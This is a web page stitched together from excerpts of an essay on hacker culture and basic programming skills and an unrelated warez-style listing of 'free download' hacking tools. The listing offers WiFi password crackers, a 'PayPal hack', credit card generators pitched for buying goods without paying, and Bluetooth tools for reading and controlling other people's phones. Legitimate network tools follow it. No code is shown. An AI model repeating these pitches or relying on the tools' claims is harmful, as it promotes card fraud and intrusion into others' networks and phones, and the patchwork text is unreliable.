Status in the Hacker Culture

1. Write open-source software

2. Help test and debug open-source software

3. Publish useful information

4. Help keep the infrastructure working

5. Serve the hacker culture itself

 

Like most cultures without a money economy, hackerdom runs on reputation. You're trying to solve interesting problems, but how interesting they are, and whether your solutions are really good, is something that only your technical peers or superiors are normally equipped to judge.
Accordingly, when you play the hacker game, you learn to keep score primarily by what other hackers think of your skill (this is why you aren't really a hacker until other hackers consistently call you one). This fact is obscured by the image of hacking as solitary work; also by a hacker-cultural taboo (gradually decaying since the late 1990s but still potent) against admitting that ego or external validation are involved in one's motivation at all.
Specifically, hackerdom is what anthropologists call a gift culture. You gain status and reputation in it not by dominating other people, nor by being beautiful, nor by having things other people want, but rather by giving things away. Specifically, by giving away your time, your creativity, and the results of your skill.
There are basically five kinds of things you can do to be respected by hackers:

1. Write open-source software

The first (the most central and most traditional) is to write programs that other hackers think are fun or useful, and give the program sources away to the whole hacker culture to use.
(We used to call these works “free software”, but this confused too many people who weren't sure exactly what “free” was supposed to mean. Most of us now prefer the term “open-source” software).
Hackerdom's most revered demigods are people who have written large, capable programs that met a widespread need and given them away, so that now everyone uses them.
But there's a bit of a fine historical point here. While hackers have always looked up to the open-source developers among them as our community's hardest core, before the mid-1990s most hackers most of the time worked on closed source. This was still true when I wrote the first version of this HOWTO in 1996; it took the mainstreaming of open-source software after 1997 to change things. Today, "the hacker community" and "open-source developers" are two descriptions for what is essentially the same culture and population — but it is worth remembering that this was not always so. (For more on this, see the section called “Historical Note: Hacking, Open Source, and Free Software”.)
 

2. Help test and debug open-source software

They also serve who stand and debug open-source software. In this imperfect world, we will inevitably spend most of our software development time in the debugging phase. That's why any open-source author who's thinking will tell you that good beta-testers (who know how to describe symptoms clearly, localize problems well, can tolerate bugs in a quickie release, and are willing to apply a few simple diagnostic routines) are worth their weight in rubies. Even one of these can make the difference between a debugging phase that's a protracted, exhausting nightmare and one that's merely a salutary nuisance.
If you're a newbie, try to find a program under development that you're interested in and be a good beta-tester. There's a natural progression from helping test programs to helping debug them to helping modify them. You'll learn a lot this way, and generate good karma with people who will help you later on.

3. Publish useful information

Another good thing is to collect and filter useful and interesting information into web pages or documents like Frequently Asked Questions (FAQ) lists, and make those generally available.
Maintainers of major technical FAQs get almost as
much respect as open-source authors.

4. Help keep the infrastructure working

The hacker culture (and the engineering development of the Internet, for that matter) is run by volunteers. There's a lot of necessary but unglamorous work that needs done to keep it going — administering mailing lists, moderating newsgroups, maintaining large software archive sites, developing RFCs and other technical standards.
People who do this sort of thing well get a lot of respect, because everybody knows these jobs are huge time sinks and not as much fun as playing with code. Doing them shows dedication.

5. Serve the hacker culture itself

Finally, you can serve and propagate the culture itself (by, for example, writing an accurate primer on how to become a hacker :-)). This is not something you'll be positioned to do until you've been around for while and become well-known for one of the first four things.
The hacker culture doesn't have leaders, exactly, but it does have culture heroes and tribal elders and historians and spokespeople. When you've been in the trenches long enough, you may grow into one of these. Beware: hackers distrust blatant ego in their tribal elders, so visibly reaching for this kind of fame is dangerous. Rather than striving for it, you have to sort of position yourself so it drops in your lap, and then be modest and gracious about your status.

 

Basic Hacking Skills

1. Learn how to program.

2. Get one of the open-source Unixes and learn to use and run it.

3. Learn how to use the World Wide Web and write HTML.

4. If you don't have functional English, learn it.

The hacker attitude is vital, but skills are even more vital. Attitude is no substitute for competence, and there's a certain basic toolkit of skills which you have to have before any hacker will dream of calling you one.

This toolkit changes slowly over time as technology creates new skills and makes old ones obsolete. For example, it used to include programming in machine language, and didn't until recently involve HTML. But right now it pretty clearly includes the following:

1. Learn how to program.

This, of course, is the fundamental hacking skill. If you don't know any computer languages, I recommend starting with Python. It is cleanly designed, well documented, and relatively kind to beginners. Despite being a good first language, it is not just a toy; it is very powerful and flexible and well suited for large projects. I have written a more detailed evaluation of Python. Good tutorials are available at the Python web site.
I used to recommend Java as a good language to learn early, but this critique has changed my mind (search for “The Pitfalls of Java as a First Programming Language” within it). A hacker cannot, as they devastatingly put it “approach problem-solving like a plumber in a hardware store”; you have to know what the components actually do. Now I think it is probably best to learn C and Lisp first, then Java.
There is perhaps a more general point here. If a language does too much for you, it may be simultaneously a good tool for production and a bad one for learning. It's not only languages that have this problem; web application frameworks like RubyOnRails, CakePHP, Django may make it too easy to reach a superficial sort of understanding that will leave you without resources when you have to tackle a hard problem, or even just debug the solution to an easy one.
If you get into serious programming, you will have to learn C, the core language of Unix. C++ is very closely related to C; if you know one, learning the other will not be difficult. Neither language is a good one to try learning as your first, however. And, actually, the more you can avoid programming in C the more productive you will be.
C is very efficient, and very sparing of your machine's resources. Unfortunately, C gets that efficiency by requiring you to do a lot of low-level management of resources (like memory) by hand. All that low-level code is complex and bug-prone, and will soak up huge amounts of your time on debugging. With today's machines as powerful as they are, this is usually a bad tradeoff — it's smarter to use a language that uses the machine's time less efficiently, but your time much more efficiently. Thus, Python.
Other languages of particular importance to hackers include Perl and LISP. Perl is worth learning for practical reasons; it's very widely used for active web pages and system administration, so that even if you never write Perl you should learn to read it. Many people use Perl in the way I suggest you should use Python, to avoid C programming on jobs that don't require C's machine efficiency. You will need to be able to understand their code.
LISP is worth learning for a different reason — the profound enlightenment experience you will have when you finally get it. That experience will make you a better programmer for the rest of your days, even if you never actually use LISP itself a lot. (You can get some beginning experience with LISP fairly easily by writing and modifying editing modes for the Emacs text editor, or Script-Fu plugins for the GIMP.)
It's best, actually, to learn all five of Python, C/C++, Java, Perl, and LISP. Besides being the most important hacking languages, they represent very different approaches to programming, and each will educate you in valuable ways.
But be aware that you won't reach the skill level of a hacker or even merely a programmer simply by accumulating languages — you need to learn how to think about programming problems in a general way, independent of any one language. To be a real hacker, you need to get to the point where you can learn a new language in days by relating what's in the manual to what you already know. This means you should learn several very different languages.
I can't give complete instructions on how to learn to program here — it's a complex skill. But I can tell you that books and courses won't do it — many, maybe most of the best hackers are self-taught. You can learn language features — bits of knowledge — from books, but the mind-set that makes that knowledge into living skill can be learned only by practice and apprenticeship. What will do it is (a) reading code and (b) writing code.
Peter Norvig, who is one of Google's top hackers and the co-author of the most widely used textbook on AI, has written an excellent essay called Teach Yourself Programming in Ten Years. His "recipe for programming success" is worth careful attention.
Learning to program is like learning to write good natural language. The best way to do it is to read some stuff written by masters of the form, write some things yourself, read a lot more, write a little more, read a lot more, write some more ... and repeat until your writing begins to develop the kind of strength and economy you see in your models.
Finding good code to read used to be hard, because there were few large programs available in source for fledgeling hackers to read and tinker with. This has changed dramatically; open-source software, programming tools, and operating systems (all built by hackers) are now widely available. Which brings me neatly to our next topic...

2. Get one of the open-source Unixes and learn to use and run it.

I'll assume you have a personal computer or can get access to one. (Take a moment to appreciate how much that means. The hacker culture originally evolved back when computers were so expensive that individuals could not own them.) The single most important step any newbie can take toward acquiring hacker skills is to get a copy of Linux or one of the BSD-Unixes or OpenSolaris, install it on a personal machine, and run it.
Yes, there are other operating systems in the world besides Unix. But they're distributed in binary — you can't read the code, and you can't modify it. Trying to learn to hack on a Microsoft Windows machine or under any other closed-source system is like trying to learn to dance while wearing a body cast.
Under Mac OS X it's possible, but only part of the system is open source — you're likely to hit a lot of walls, and you have to be careful not to develop the bad habit of depending on Apple's proprietary code. If you concentrate on the Unix under the hood you can learn some useful things.
Unix is the operating system of the Internet. While you can learn to use the Internet without knowing Unix, you can't be an Internet hacker without understanding Unix. For this reason, the hacker culture today is pretty strongly Unix-centered. (This wasn't always true, and some old-time hackers still aren't happy about it, but the symbiosis between Unix and the Internet has become strong enough that even Microsoft's muscle doesn't seem able to seriously dent it.)
So, bring up a Unix — I like Linux myself but there are other ways (and yes, you can run both Linux and Microsoft Windows on the same machine). Learn it. Run it. Tinker with it. Talk to the Internet with it. Read the code. Modify the code. You'll get better programming tools (including C, LISP, Python, and Perl) than any Microsoft operating system can dream of hosting, you'll have fun, and you'll soak up more knowledge than you realize you're learning until you look back on it as a master hacker.
For more about learning Unix, see The Loginataka. You might also want to have a look at The Art Of Unix Programming.
To get your hands on a Linux, see the Linux Online! site; you can download from there or (better idea) find a local Linux user group to help you with installation.
During the first ten years of this HOWTO's life, I reported that from a new user's point of view, all Linux distributions are almost equivalent. But in 2006-2007, an actual best choice emerged: Ubuntu. While other distros have their own areas of strength, Ubuntu is far and away the most accessible to Linux newbies.
You can find BSD Unix help and resources at www.bsd.org.
A good way to dip your toes in the water is to boot up what Linux fans call a live CD, a distribution that runs entirely off a CD without having to modify your hard disk. This will be slow, because CDs are slow, but it's a way to get a look at the possibilities without having to do anything drastic.
I have written a primer on the basics of Unix and the Internet.
I used to recommend against installing either Linux or BSD as a solo project if you're a newbie. Nowadays the installers have gotten good enough that doing it entirely on your own is possible, even for a newbie. Nevertheless, I still recommend making contact with your local Linux user's group and asking for help. It can't hurt, and may smooth the process.

3. Learn how to use the World Wide Web and write HTML.

Most of the things the hacker culture has built do their work out of sight, helping run factories and offices and universities without any obvious impact on how non-hackers live. The Web is the one big exception, the huge shiny hacker toy that even politicians admit has changed the world. For this reason alone (and a lot of other good ones as well) you need to learn how to work the Web.
This doesn't just mean learning how to drive a browser (anyone can do that), but learning how to write HTML, the Web's markup language. If you don't know how to program, writing HTML will teach you some mental habits that will help you learn. So build a home page. Try to stick to XHTML, which is a cleaner language than classic HTML. (There are good beginner tutorials on the Web; here's one.)
But just having a home page isn't anywhere near good enough to make you a hacker. The Web is full of home pages. Most of them are pointless, zero-content sludge — very snazzy-looking sludge, mind you, but sludge all the same (for more on this see The HTML Hell Page).
To be worthwhile, your page must have content — it must be interesting and/or useful to other hackers. And that brings us to the next topic...

4. If you don't have functional English, learn it.

As an American and native English-speaker myself, I have previously been reluctant to suggest this, lest it be taken as a sort of cultural imperialism. But several native speakers of other languages have urged me to point out that English is the working language of the hacker culture and the Internet, and that you will need to know it to function in the hacker community.
Back around 1991 I learned that many hackers who have English as a second language use it in technical discussions even when they share a birth tongue; it was reported to me at the time that English has a richer technical vocabulary than any other language and is therefore simply a better tool for the job. For similar reasons, translations of technical books written in English are often unsatisfactory (when they get done at all).
Linus Torvalds, a Finn, comments his code in English (it apparently never occurred to him to do otherwise). His fluency in English has been an important factor in his ability to recruit a worldwide community of developers for Linux. It's an example worth following.
Being a native English-speaker does not guarantee that you have language skills good enough to function as a hacker. If your writing is semi-literate, ungrammatical, and riddled with misspellings, many hackers (including myself) will tend to ignore you. While sloppy writing does not invariably mean sloppy thinking, we've generally found the correlation to be strong — and we have no use for sloppy thinkers. If you can't yet write competently, learn to.

What Is a Hacker?

The Jargon File contains a bunch of definitions of the term ‘hacker’, most having to do with technical adeptness and a delight in solving problems and overcoming limits. If you want to know how to become a hacker, though, only two are really relevant.
There is a community, a shared culture, of expert programmers and networking wizards that traces its history back through decades to the first time-sharing minicomputers and the earliest ARPAnet experiments. The members of this culture originated the term ‘hacker’. Hackers built the Internet. Hackers made the Unix operating system what it is today. Hackers run Usenet. Hackers make the World Wide Web work. If you are part of this culture, if you have contributed to it and other people in it know who you are and call you a hacker, you're a hacker.
The hacker mind-set is not confined to this software-hacker culture. There are people who apply the hacker attitude to other things, like electronics or music — actually, you can find it at the highest levels of any science or art. Software hackers recognize these kindred spirits elsewhere and may call them ‘hackers’ too — and some claim that the hacker nature is really independent of the particular medium the hacker works in. But in the rest of this document we will focus on the skills and attitudes of software hackers, and the traditions of the shared culture that originated the term ‘hacker’.
There is another group of people who loudly call themselves hackers, but aren't. These are people (mainly adolescent males) who get a kick out of breaking into computers and phreaking the phone system. Real hackers call these people ‘crackers’ and want nothing to do with them. Real hackers mostly think crackers are lazy, irresponsible, and not very bright, and object that being able to break security doesn't make you a hacker any more than being able to hotwire cars makes you an automotive engineer. Unfortunately, many journalists and writers have been fooled into using the word ‘hacker’ to describe crackers; this irritates real hackers no end.
The basic difference is this: hackers build things, crackers break them.
If you want to be a hacker, keep reading. If you want to be a cracker, go read the alt.2600 newsgroup and get ready to do five to ten in the slammer after finding out you aren't as smart as you think you are. And that's all I'm going to say about crackers.

Unlock With WiFi v2.1.1

Hate entering your password every time you turn on your phone?
When you’re at home, or work, you don’t need to worry about losing your
phone, so why should you have to enter your password?

Unlock your phone when you’re connected to your home
WiFi network. What does “unlock” mean? It means you don’t have to
enteryour password/pattern/PIN when you turn on your phone.

How does it work?
When you get home and connect to your WiFi network, your device will unlock. Then when you leave, and the WiFi disconnects, the device will lock again. You have to enter your password the first time after you connect to your WiFi network. This is so that if someone steals or finds your phone, they can’t just bring it to your house to unlock it.

After you enter your password once while connected to your WiFi network, you won’t have to enter it again until you leave/disconnect. This is great for SMS texting!

What else does it do?
You can also set a lock delay, for when you’re not at home. The default delay is set to 5 seconds (you can adjust it), so when you turn the screen off, the device won’t lock until 5 seconds have
passed. That way, if you remember something you forgot to do, you can turn it back on without entering your password. This feature is considered experimental at this time. It works on most devices, but isn’t guaranteed to work on all devices.

There are also battery saving options to:
+ Turn off WiFi when you leave home
+ Turn on GPS when you leave home
+ Turn off GPS when you get home
+ Turn on Bluetooth when you leave home
+ Turn off Bluetooth when you get home
+ Turn off Auto Sync when you leave home
+ Turn on Auto Sync when you get home
+ This feature is experimental, and not guaranteed to work on all devices. Works on tablets too!

Free download Unlock With WiFi v2.1.1 here

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WiFi Cracker AIO Essential Tools 2013

All tools you need to bypass Wifi. Easiest way
to crack wireless network keys !

A lot of helpful wifi, wireless tool. You can now
use free internet from everywhere.

List of tools:

+ CommView for Wifi
+ Wep Key Recovery
+ Pure Networks Magic
+ Easy Wifi Radar
+ AirCrack
+ Boingo Wireless v1.3
+ APSniff
+ Aerosol
+ ... and many other wifi, wireless tools.

Free download WiFi Cracker AIO Essential Tools 2012 here

 

Cracking WiFi Connections 2012

How to hack a wifi network in a few minutes !

Most of the time, it is possible simply to either
have a laptop with WiFi or a PC with WiFi and connect to open networks
with the Windows built-in WiFi client.

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Everyone has lots of internet connections
around their house, and frequently these connections are wireless.
Cheap, free, and easy wireless internet

Bonus tool: Commview for Wifi 6.3 build 695

Free download Cracking WiFi Connections 2012 here

Hack any wifi network in a few minutes !

You can easily hack a wifi password.

This includes for WEP, WPA, WPA2 encryption.

Hacking your neighbors or anyone else's wifi is very simple.

Now this tool is for free !

Free download Wifi Password Hack 2012 here

Easy way to purchase online without losing any money !

The best of PayPal hack tools, smooth running and 100% working

With PayPal Hack 2010 you can purchase online shopping, no need
paying from your pocket

Free download PayPal Hack 2010 here

Easy Credit Card Checker 2010

 

Easy Credit Card Checker allows you instantly check credit card number for validity !

It can verify Visa, MasterCard, Diners Club, Carte Blanche, EnRoute, American Express (AMEX), Discover, JCB and other credit card numbers

Easy Credit Card Checker 2010 uses LUHN10 algorithm as well as first digits verification. This freeware performs first digits verification, automatically determines type of the card and has easy-to-use cut, copy and paste functions. It verifies Visa, MasterCard, AMEX, Discover, Diners Club and many other cards.

Free download Easy Credit Card Checker 2010 here

Credit Card Manager will help you store all personal credit card account-related information and keep track of credit card transactions !

Credit Card Manager maintains transaction information, such as charges, payments and interest charged. When transactions are logged, they are kept in a current transaction listing for future reconciliation with the monthly account statement.

After transactions are reconciled, they are retained for user-defined reporting inquiries such as account history and spending habit analyses

Free download Credit Card Manager 2010

All necessary tools for hacking and checking your credit card !

Did u ever tried to access a premium page without money? You probably failed. But now, all you have to do, is to generate a number with one of the tools, copy and paste them

Added more usefull tools to this newest version. Now you can even generate Cvv2-protected number

Free download All In One Credit Card Tools 2010 here

Credit Card Hacking tools, get more free valid card number !

Generate working credit card with their cvv numbers

Hack with their valid complete details for fully purchasing, buying or shopping from the Internet

Free download Credit Card Hacking 2010 here

Purchase online without losing your real money !

All new credit card generator Visa, Master Card,
American Express and more!

This tool will only generate a working and valid
card number !

Free download Credit Card Generator 2010 here

This is a new version of Super Bluetooth Hack for conventional and mobile-based symbian !

If you do not know what a Super Bluetooth Hack, this program
through MDM can be controlled by other people'ss mobile phone at a
distance (in the radius 10-15 metres)

Once connected to a another phone via bluetooth you can call
many functions

+ read his messages + read his contacts + change profile + play his ringtone even if phone is on silent + play his songs(in his phone) + restart the phone + switch off the phone + restore factory settings + change ringing volume

Free download Super Bluetooth Hack Tools 2010

Ultimate Bluetooth hack 2010, full version v1.8 !

Ultimate Bluetooth Mobile Phone Spy Software Edition 2010 will work on all mobile devices that are bluetooth enabled. Not just phones but also laptops, computers, etc

You don’t need to list compatible phones - this works on all phones

Extra bonus spy items!

+ Bluetooth spy suite for your PC/laptop + A very special program that enables you to view incoming and outgoing e-mail for a given e-mail address

Free download Ultimate Bluetooth hack 2010 here

Bluesoleil Bluetooth fully cracked version 5.0.5.178

BlueSoleil allows your Bluetooth radio enabled desktop or notebook
computer to wirelessly access a wide variety of Bluetooth enabled digital devices, such as mobile phones, stereo/mono headsets, keyboard and mouse, camera, printer and GPS devices or PDAs etc.

BlueSoleil Windows application supports 18 Bluetooth functions (profiles)
and 17 languages at the moment, working perfectly in Windows 2000, Windows XP
and Window Vista.

Bluesoleil Bluetooth features:

+ BlueSoleil 5.0 and BlueSoleil 6.0 presents users Bluetooth connection environment in dual interface: the enhanced Soleil GUI and the windows explorer GUI. Users can enjoy the wireless freedom either in the BlueSoleil classic interface or the windows style interface.
+ BlueSoleil for Linux has the classic BlueSoleil user interface that BlueSoleil 6.0 and BlueSoleil 5.0 for XP/Vista already apply. On the basic of classic BlueSoleil user interface, BlueSoleil for Linux improves many user interface elements to make BlueSoleil GUI more intuitive, and easy-to-use.

What can BlueSoleil do for you:

+ View, manage Bluetooth phone's contacts on PC (only available in BlueSoleil 6.0 Mobile);
+ Send/Reply/Forward/Backup mobile phone's SMS from computer (only available in BlueSoleil 6.0 Mobile);
+ Support VoIP;
+ Transfer files from/to mobiles phones;
+ Call your contacts though Skype with Bluetooth headset;
+ Wireless access Internet anywhere, anytime, even on moving;
+ Listen to music stored in the PC using a Bluetooth wireless headset anywhere in the range;
+ Push pictures from a Bluetooth Digital Camera to the PC without any cable connection;
+ Print a file using a Bluetooth printer even in another room without any cable connection;
+ Use Bluetooth wireless keyboard and mouse to control the PC;
+ Exchange or synchronize personal information, name cards etc with other laptops, PDAs or mobile phones;
+ Support Windows muti-user

Free download Bluesoleil Bluetooth v5.0.5.178 here

All In One Mobile Bluetooth Hacking Tools 2013(Newest updated August 2010)

Use this to connect to a phone through bluetooth and control it.

Super Bluetooth Hack for S60 2nd-3rd devices.
Works very well on sony ericsson/samsung ans Nokia phone

Once connected to a another phone via bluetooth you can:

+ read his messages
+ read his contacts
+ change profile
+ play his ringtone even if phone is on silent
+ play his songs(in his phone)
+ restart the phone
+ switch off the phone
+ restore factory settings
+ change ringing volume
+ And here comes the best
+ "Call from his phone" it includes all call functions like hold.

Free download AIO Mobile Bluetooth Hacking Tools 2010 here

Bluetooth IVT BlueSoleil v6.4, professional bluetooth hacking tool !

Any users like you would ever have the trouble like being
entwined by lots of cables ? You could not let yourself feel free, and you
can just do one thing during the busy time.

BlueSoleil 6 is one of the most popular and professional Windows-based
Bluetooth application, emerging from IVT by great innovation and independence,
fulfilling all demands of an integrated wirelessly accessed a wide variety of Bluetooth enabled digital devices, such as mobile phones, headsets, printers, keyboards and so on. You can
also form networks and exchange data with other Bluetooth enabled computers.

+ Now, BlueSoleil 6 will bring you a new wireless Bluetooth life, you could transfer files, photos, music, videos and any other data without any cables. Meanwhile, you are enabled to connect with other people via BlueSoleil 6. It is the most valuable software for you to share joy with friends and families. All of these just take you a short time to learn how to use the program. Besides, the reasonable price is also deserved you to take it home!

+ What's more, two new features have been added, which are "Phonebook" and "Messages" management. You could view and manage all contacts of your mobile phone from BlueSoleil 6 and a necessary backup of your contacts could be done by BlueSoleil 6 wirelessly. You could easily type long messages directly from BlueSoleil messages dialogue which is very convenient and fast.

Free download Bluetooth IVT BlueSoleil v6.4 here

Super Bluetooth Hack new 2012 !

If you have lost access to one of your cellphones or

if you need to hack into others’ cellphone, then this software is for you.

With this software, you can control other mobile phones.

Super Bluetooth hack allows you to view information

about battery, network SIM card, read SMS, change network operator,

control applications and do many more.

Features:
+ Read his contacts
+ Change profile
+ Play his ringtone even if phone is on silent
+ Play his songs(in his phone)
+ Restart the phone
+ Switch off the phone
+ Restore factory settings
+ Change ringing volume
+ And here comes the best
+ Call from his phone” it includes all call functions like hold
+ Connect via Bluetooth & Infrared,etc.
+... and much more.

Free download Super Bluetooth Hack 2012 here

PACKET SNIFFER : TCP DUMP

PACKET SNIFFER : TCP DUMP

Tcpdump is the classic IP sniffer which requires fewer system resources. It is great for tracking down network problems or monitoring activity.

Download here:

http://www.megaupload.com/?d=IGQELRZ3

NETWORK SCANNING TOOL : NMAP

Nmap ("Network Mapper") is a free and open source utility for network exploration or security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts.

Download here (Linux Users):

http://nmap.org/dist/nmap-5.00.tar.bz2

Download here (Windows Users):

http://nmap.org/dist/nmap-5.00-setup.exe

PACKET SNIFFER : WIRESHARK

Wireshark is a fantastic open source network protocol analyzer for Unix and Windows. It allows you to examine data from a live network or from a capture file on disk. You can interactively browse the capture data, delving down into just the level of packet detail you need. Wireshark has several powerful features, including a rich display filter language and the ability to view the reconstructed stream of a TCP session. It also supports hundreds of protocols and media types.

Download from Wireshark Official Website:

http://www.wireshark.org/download.html